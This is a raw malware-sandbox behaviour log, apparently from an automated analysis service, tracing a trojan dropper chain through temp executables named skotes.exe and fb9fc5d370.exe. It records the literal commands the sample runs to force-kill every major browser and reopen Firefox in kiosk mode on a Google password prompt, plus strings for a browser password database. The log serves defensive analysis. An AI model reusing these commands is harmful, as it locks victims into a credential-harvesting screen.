=R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@84/42@110/15
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2224:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2060:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1060:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1136:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6540:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3324:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1336:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:416:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000003.2231661497.0000000005F73000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231396926.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242910849.0000000005F97000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243035911.0000000005F8A000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2912379846.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2927175602.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926601310.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3079669206.0000000005252000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3079087039.000000000525E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067067030.0000000005220000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066024389.000000000524F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 42%
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: B7KMZCE66VGDP83M16.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe String found in binary or memory: ZRRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNe
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe "C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe "C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe "C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe "C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe"
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe "C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe "C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe "C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe "C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe "C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe "C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe "C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe "C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
